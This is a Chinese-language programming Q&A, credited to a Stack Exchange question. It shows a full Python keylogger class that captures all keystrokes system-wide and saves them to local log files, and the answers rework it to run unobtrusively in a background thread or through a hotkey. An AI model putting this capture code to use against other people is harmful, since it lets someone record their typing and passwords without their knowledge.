如何让Python键盘记录器在后台运行且不阻塞主线程

问题描述 #

我用Python的keyboard库开发键盘记录器，start函数实现如下：

def start(self):
    # record the start datetime
    self.start_dt = datetime.now()
    # start the keylogger
    keyboard.on_release(callback=self.callback)
    # make a simple message
    print(f"{datetime.now()} - Started keylogger")
    # block the current thread, wait
    keyboard.wait("esc")
    self.report()

点击应用按钮创建KeyLogger对象并调用start后，应用会冻结，原因是keyboard.wait会阻塞主线程。需要让键盘记录器在后台运行，不阻塞应用正常使用，同时按esc键仍能停止记录并生成报告。

完整的KeyLogger类代码如下：

import keyboard
import os
from datetime import datetime

class KeyLogger:
def __init__(self) -> None:
    self.log = ""
    self.startTime = datetime.now()
    
def callback(self, event) -> None:
    name = event.name
    # not a character, special key (e.g ctrl, alt, etc.)
    # uppercase with []
    if name == "space":
        # " " instead of "space"
        name = " "
    elif name == "enter":
        # add a new line whenever an ENTER is pressed
        name = "[ENTER]\n"
    elif name == "decimal":
        name = "."
    elif len(name) > 1:
        # replace spaces with underscores
        name = name.replace(" ", "_")
        name = f"[{name.upper()}]"
        
    self.log += name
    
def update_filename(self):
    # construct the filename to be identified by start & end datetimes
    start_dt_str = str(self.startTime)[:-7].replace(" ", "-").replace(":", "")
    self.filename = f"keylog-{start_dt_str}"
    
def report_to_file(self):
    """This method creates a log file in the current directory that contains
    the current keylogs in the `self.log` variable"""
    # open the file in write mode (create it)
    if os.path.exists("logs/") == False:
        os.mkdir("logs/")
    with open(f"logs/{self.filename}.txt", "w") as f:
        # write the keylogs to the file
        print(self.log, file=f)
    print(f"[+] Saved {self.filename}.txt")
    
def report(self):
    if self.log:
         self.update_filename()
         self.report_to_file()
         self.startTime = datetime.now()
         self.log = ""
         
def start(self):
    # record the start datetime
    self.start_dt = datetime.now()
    # start the keylogger
    keyboard.on_release(callback=self.callback)
    # make a simple message
    print(f"{datetime.now()} - Started keylogger")
    # block the current thread, wait
    keyboard.wait("esc")
    self.report()
    
def stop(self):
    keyboard.press("esc")

解决方案 #

方案一：使用threading模块将阻塞逻辑放入子线程 #

修改start函数，把keyboard.wait和后续的self.report()放到子线程中执行，主线程不会被阻塞，应用可正常操作。

修改后的start函数：

import threading  # 需导入threading模块

def start(self):
    self.start_dt = datetime.now()
    keyboard.on_release(callback=self.callback)
    print(f"{datetime.now()} - Started keylogger")
    
    # 定义子线程执行的逻辑
    def wait_for_esc():
        keyboard.wait("esc")
        self.report()
    
    # 创建并启动守护线程，主程序退出时自动终止
    threading.Thread(target=wait_for_esc, daemon=True).start()

方案二：使用keyboard.add_hotkey替代keyboard.wait #

利用keyboard.add_hotkey绑定esc键的触发事件，无需阻塞线程，直接在回调中处理停止和报告逻辑。

修改后的start函数：

def start(self):
    self.start_dt = datetime.now()
    keyboard.on_release(callback=self.callback)
    print(f"{datetime.now()} - Started keylogger")
    
    # 绑定esc键的热键回调
    def on_esc_press():
        self.report()
        keyboard.unhook_all()  # 解除所有监听，避免资源泄漏
    
    keyboard.add_hotkey("esc", on_esc_press)

修改后的完整KeyLogger类（以方案一为例） #

import keyboard
import os
import threading
from datetime import datetime

class KeyLogger:
    def __init__(self) -> None:
        self.log = ""
        self.startTime = datetime.now()
        
    def callback(self, event) -> None:
        name = event.name
        if name == "space":
            name = " "
        elif name == "enter":
            name = "[ENTER]\n"
        elif name == "decimal":
            name = "."
        elif len(name) > 1:
            name = name.replace(" ", "_")
            name = f"[{name.upper()}]"
            
        self.log += name
        
    def update_filename(self):
        start_dt_str = str(self.startTime)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}"
        
    def report_to_file(self):
        if not os.path.exists("logs/"):
            os.mkdir("logs/")
        with open(f"logs/{self.filename}.txt", "w") as f:
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")
        
    def report(self):
        if self.log:
             self.update_filename()
             self.report_to_file()
             self.startTime = datetime.now()
             self.log = ""
             
    def start(self):
        self.start_dt = datetime.now()
        keyboard.on_release(callback=self.callback)
        print(f"{datetime.now()} - Started keylogger")
        
        def wait_for_esc():
            keyboard.wait("esc")
            self.report()
        
        threading.Thread(target=wait_for_esc, daemon=True).start()
        
    def stop(self):
        keyboard.press("esc")

内容的提问来源于stack exchange，提问作者Larry Jing